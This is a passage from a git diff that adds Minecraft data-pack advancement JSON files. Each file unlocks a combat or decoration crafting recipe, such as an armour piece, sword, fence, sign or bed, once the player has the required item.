b/src/data/minecraft/advancements/recipes/combat/diamond_leggings.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_leggings" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_leggings" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/diamond_sword.json b/src/data/minecraft/advancements/recipes/combat/diamond_sword.json new file mode 100644 index 00000000..a9c29de8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/diamond_sword.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:diamond_sword" + ] + }, + "criteria": { + "has_diamond": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:diamond" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:diamond_sword" + } + } + }, + "requirements": [ + [ + "has_diamond", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/golden_boots.json b/src/data/minecraft/advancements/recipes/combat/golden_boots.json new file mode 100644 index 00000000..29f218a1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/golden_boots.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_boots" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_boots" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/golden_chestplate.json b/src/data/minecraft/advancements/recipes/combat/golden_chestplate.json new file mode 100644 index 00000000..7e7af3c2 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/golden_chestplate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_chestplate" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_chestplate" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/golden_helmet.json b/src/data/minecraft/advancements/recipes/combat/golden_helmet.json new file mode 100644 index 00000000..9689d042 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/golden_helmet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_helmet" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_helmet" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/golden_leggings.json b/src/data/minecraft/advancements/recipes/combat/golden_leggings.json new file mode 100644 index 00000000..7521cc58 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/golden_leggings.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_leggings" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_leggings" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/golden_sword.json b/src/data/minecraft/advancements/recipes/combat/golden_sword.json new file mode 100644 index 00000000..7ca7cb48 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/golden_sword.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_sword" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_sword" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/iron_boots.json b/src/data/minecraft/advancements/recipes/combat/iron_boots.json new file mode 100644 index 00000000..55051e96 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/iron_boots.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_boots" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_boots" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/iron_chestplate.json b/src/data/minecraft/advancements/recipes/combat/iron_chestplate.json new file mode 100644 index 00000000..6b1b4907 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/iron_chestplate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_chestplate" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_chestplate" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/iron_helmet.json b/src/data/minecraft/advancements/recipes/combat/iron_helmet.json new file mode 100644 index 00000000..70d0ebe8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/iron_helmet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_helmet" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_helmet" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/iron_leggings.json b/src/data/minecraft/advancements/recipes/combat/iron_leggings.json new file mode 100644 index 00000000..8f21f591 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/iron_leggings.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_leggings" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_leggings" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/iron_sword.json b/src/data/minecraft/advancements/recipes/combat/iron_sword.json new file mode 100644 index 00000000..73876515 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/iron_sword.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_sword" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_sword" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/leather_boots.json b/src/data/minecraft/advancements/recipes/combat/leather_boots.json new file mode 100644 index 00000000..b08c3404 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/leather_boots.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:leather_boots" + ] + }, + "criteria": { + "has_leather": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:leather" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:leather_boots" + } + } + }, + "requirements": [ + [ + "has_leather", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/leather_chestplate.json b/src/data/minecraft/advancements/recipes/combat/leather_chestplate.json new file mode 100644 index 00000000..d788b4b4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/leather_chestplate.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:leather_chestplate" + ] + }, + "criteria": { + "has_leather": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:leather" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:leather_chestplate" + } + } + }, + "requirements": [ + [ + "has_leather", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/leather_helmet.json b/src/data/minecraft/advancements/recipes/combat/leather_helmet.json new file mode 100644 index 00000000..2d389ee3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/leather_helmet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:leather_helmet" + ] + }, + "criteria": { + "has_leather": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:leather" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:leather_helmet" + } + } + }, + "requirements": [ + [ + "has_leather", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/leather_leggings.json b/src/data/minecraft/advancements/recipes/combat/leather_leggings.json new file mode 100644 index 00000000..fdd79830 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/leather_leggings.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:leather_leggings" + ] + }, + "criteria": { + "has_leather": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:leather" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:leather_leggings" + } + } + }, + "requirements": [ + [ + "has_leather", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/netherite_boots_smithing.json b/src/data/minecraft/advancements/recipes/combat/netherite_boots_smithing.json new file mode 100644 index 00000000..75e493ea --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/netherite_boots_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_boots_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_boots_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/netherite_chestplate_smithing.json b/src/data/minecraft/advancements/recipes/combat/netherite_chestplate_smithing.json new file mode 100644 index 00000000..7c85187f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/netherite_chestplate_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_chestplate_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_chestplate_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/netherite_helmet_smithing.json b/src/data/minecraft/advancements/recipes/combat/netherite_helmet_smithing.json new file mode 100644 index 00000000..e737a904 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/netherite_helmet_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_helmet_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_helmet_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/netherite_leggings_smithing.json b/src/data/minecraft/advancements/recipes/combat/netherite_leggings_smithing.json new file mode 100644 index 00000000..8908c55c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/netherite_leggings_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_leggings_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_leggings_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/netherite_sword_smithing.json b/src/data/minecraft/advancements/recipes/combat/netherite_sword_smithing.json new file mode 100644 index 00000000..29353a90 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/netherite_sword_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_sword_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_sword_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/shield.json b/src/data/minecraft/advancements/recipes/combat/shield.json new file mode 100644 index 00000000..fe2f5b6e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/shield.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:shield" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:shield" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/spectral_arrow.json b/src/data/minecraft/advancements/recipes/combat/spectral_arrow.json new file mode 100644 index 00000000..d6ab232e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/spectral_arrow.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spectral_arrow" + ] + }, + "criteria": { + "has_glowstone_dust": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glowstone_dust" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spectral_arrow" + } + } + }, + "requirements": [ + [ + "has_glowstone_dust", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/stone_sword.json b/src/data/minecraft/advancements/recipes/combat/stone_sword.json new file mode 100644 index 00000000..61fdc500 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/stone_sword.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_sword" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_tool_materials" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_sword" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/turtle_helmet.json b/src/data/minecraft/advancements/recipes/combat/turtle_helmet.json new file mode 100644 index 00000000..1028df09 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/turtle_helmet.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:turtle_helmet" + ] + }, + "criteria": { + "has_scute": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:scute" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:turtle_helmet" + } + } + }, + "requirements": [ + [ + "has_scute", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/combat/wooden_sword.json b/src/data/minecraft/advancements/recipes/combat/wooden_sword.json new file mode 100644 index 00000000..39cc2934 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/combat/wooden_sword.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:wooden_sword" + ] + }, + "criteria": { + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:wooden_sword" + } + } + }, + "requirements": [ + [ + "has_stick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/acacia_fence.json b/src/data/minecraft/advancements/recipes/decorations/acacia_fence.json new file mode 100644 index 00000000..e808d3d3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/acacia_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_fence" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_fence" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/acacia_sign.json b/src/data/minecraft/advancements/recipes/decorations/acacia_sign.json new file mode 100644 index 00000000..e4412042 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/acacia_sign.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_sign" + ] + }, + "criteria": { + "has_acacia_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:acacia_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_sign" + } + } + }, + "requirements": [ + [ + "has_acacia_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/andesite_wall.json b/src/data/minecraft/advancements/recipes/decorations/andesite_wall.json new file mode 100644 index 00000000..c5551536 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/andesite_wall.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:andesite_wall" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:andesite_wall" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/andesite_wall_from_andesite_stonecutting.json b/src/data/minecraft/advancements/recipes/decorations/andesite_wall_from_andesite_stonecutting.json new file mode 100644 index 00000000..80c041a1 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/andesite_wall_from_andesite_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:andesite_wall_from_andesite_stonecutting" + ] + }, + "criteria": { + "has_andesite": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:andesite" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:andesite_wall_from_andesite_stonecutting" + } + } + }, + "requirements": [ + [ + "has_andesite", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/anvil.json b/src/data/minecraft/advancements/recipes/decorations/anvil.json new file mode 100644 index 00000000..f3f163fc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/anvil.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:anvil" + ] + }, + "criteria": { + "has_iron_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:anvil" + } + } + }, + "requirements": [ + [ + "has_iron_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/armor_stand.json b/src/data/minecraft/advancements/recipes/decorations/armor_stand.json new file mode 100644 index 00000000..ad9cc91b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/armor_stand.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:armor_stand" + ] + }, + "criteria": { + "has_stone_slab": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:smooth_stone_slab" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:armor_stand" + } + } + }, + "requirements": [ + [ + "has_stone_slab", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/barrel.json b/src/data/minecraft/advancements/recipes/decorations/barrel.json new file mode 100644 index 00000000..4355f902 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/barrel.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:barrel" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:planks" + } + ] + } + }, + "has_wood_slab": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:wooden_slabs" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:barrel" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_wood_slab", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/beehive.json b/src/data/minecraft/advancements/recipes/decorations/beehive.json new file mode 100644 index 00000000..2be1471c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/beehive.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:beehive" + ] + }, + "criteria": { + "has_honeycomb": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:honeycomb" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:beehive" + } + } + }, + "requirements": [ + [ + "has_honeycomb", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/birch_fence.json b/src/data/minecraft/advancements/recipes/decorations/birch_fence.json new file mode 100644 index 00000000..ff3d54f5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/birch_fence.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_fence" + ] + }, + "criteria": { + "has_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_fence" + } + } + }, + "requirements": [ + [ + "has_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/birch_sign.json b/src/data/minecraft/advancements/recipes/decorations/birch_sign.json new file mode 100644 index 00000000..2a4b3c7c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/birch_sign.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_sign" + ] + }, + "criteria": { + "has_birch_planks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:birch_planks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_sign" + } + } + }, + "requirements": [ + [ + "has_birch_planks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/black_banner.json b/src/data/minecraft/advancements/recipes/decorations/black_banner.json new file mode 100644 index 00000000..a9b80849 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/black_banner.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_banner" + ] + }, + "criteria": { + "has_black_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_banner" + } + } + }, + "requirements": [ + [ + "has_black_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/black_bed.json b/src/data/minecraft/advancements/recipes/decorations/black_bed.json new file mode 100644 index 00000000..61221acf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/black_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_bed" + ] + }, + "criteria": { + "has_black_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:black_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:black_bed" + } + } + }, + "requirements": [ + [ + "has_black_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/decorations/black_bed_from_white_bed.json b/src/data/minecraft/advancements/recipes/decorations/black_bed_from_white_bed.json new file mode 100644 index 00000000..f8a07776 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/decorations/black_bed_from_white_bed.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:black_bed_from_white_bed" + ] + }, + "criteria": { + "has_bed": { + "trigger": 